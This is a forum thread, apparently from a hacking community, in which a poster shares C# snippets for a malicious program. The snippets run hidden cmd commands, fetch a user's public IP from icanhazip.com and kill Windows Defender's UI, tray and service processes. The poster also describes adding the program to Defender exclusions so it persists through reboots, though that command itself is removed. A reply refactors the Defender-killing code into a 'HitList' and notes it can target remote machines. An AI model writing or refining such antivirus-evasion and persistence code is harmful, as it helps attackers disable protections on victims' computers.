Quote:           catch
           {

           }

Quote:string externalip = new WebClient().DownloadString("http://icanhazip.com");

Quote:This will get the public ip and not 127.0.0.1 which I have some problems with.

Quote:

Code

                       foreach (Process process in Process.GetProcessesByName("SecHealthUI"))
                       {
                           process.Kill();
                       }
                       foreach (Process process in Process.GetProcessesByName("Windows Security"))
                       {
                           process.Kill();
                       }
                       foreach (Process process in Process.GetProcessesByName("SecurityHealthSystray"))
                       {
                           process.Kill();
                       }
                       foreach (Process process in Process.GetProcessesByName("SecurityHealthService"))
                       {
                           process.Kill();
                       }

(May 29, 2020 10:26 AM)Shadow_Cloud Wrote:  I would really suggest you don't let code escape into the wild (because we rarely release code) with empty catch blocks


Can you explain why the method SendCMD is static?  


I wouldn't advocate for the use of WebClient here, typically I would say look at HttpClient but there are some gotchas there too, just look at RestSharp, they have dealt with the internals for you ;)


Do you understand NAT?  This might be worth reading up about


Whenever you see this kinda repetition of code, there's usually room for some refactoring, maybe consider something like this instead.  The code smell here is called "shotgun surgery" where you need to fix something in multiple places, kinda like from a shotgun shell.

Code

   static void Main(string[] args)
       {
           List<string> TargetList = new List<string>
           {
               "SecHealthUI", "Windows Security", "SecurityHealthSystray", "SecurityHealthService"
           };
           HitList(TargetList);
       }

       private static void HitList(List<string> targets)
       {
           foreach (var currentTarget in targets)
           {
               foreach (var process in Process.GetProcessesByName(currentTarget))
               {
                   process.Kill();
               }
           }

       }

You could probably optimize this quite a bit by retrieving the process list once. Rather than grabbing each process by name, this becomes hard to manage without knowing the exact use case and could be a micro optimization not worth your time.  Its interesting to note you can target a remote machine via GetProcessesByName ;)

(May 29, 2020 09:54 AM)Mark Skith Wrote:  Here is a good way to persist your application even after a reboot, as what usually happens is that the users Windows Defender will go and remove and/or quarantine the app. With this method the application will add itself to windows defender exceptions. I will also be sharing another useful void for how to download and start an application.

---

You will need admin priv for this bypass I believe,

Code

removed pm if you need help sorry.

I have this execute on runtime as even if the path is already applied no errors are thrown.
Here is the static void needed to use SendCMD

Code

       public static void SendCMD(string cmd)
       {
           try
           {
               ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd)
               {
                   UseShellExecute = false,
                   CreateNoWindow = true
               };
               Process proc = new Process
               {
                   StartInfo = procStartInfo
               };
               proc.Start();
           }
           catch
           {

           }
       }

You can use this SendCMD void in order to send commands such as the one I specified in order to add an application to Windows Defender Exclusions.

---

This post is small so I am going to give another method for how to get a users external IP.

Code

string externalip = new WebClient().DownloadString("http://icanhazip.com");

This will get the public ip and not 127.0.0.1 which I have some problems with.

---

Here is how to end Windows Defender's UI along with its tray icon.

Code

                       foreach (Process process in Process.GetProcessesByName("SecHealthUI"))
                       {
                           process.Kill();
                       }
                       foreach (Process process in Process.GetProcessesByName("Windows Security"))
                       {
                           process.Kill();
                       }
                       foreach (Process process in Process.GetProcessesByName("SecurityHealthSystray"))
                       {
                           process.Kill();
                       }
                       foreach (Process process in Process.GetProcessesByName("SecurityHealthService"))
                       {
                           process.Kill();
                       }

---

Now before I go here is all of the references needed,

Code

using System.Diagnostics;
using System.IO;
using System;
using System.Threading;
using System.Threading.Tasks;
using System.Net;

I have a lot of useful methods and soon I'll be releasing my open source testing app with all of my best methods together in one namespace! I will also be releasing all of these methods as a Class Library for easy use!

---

I would also love for feedback on how my thread design is!
Thank you!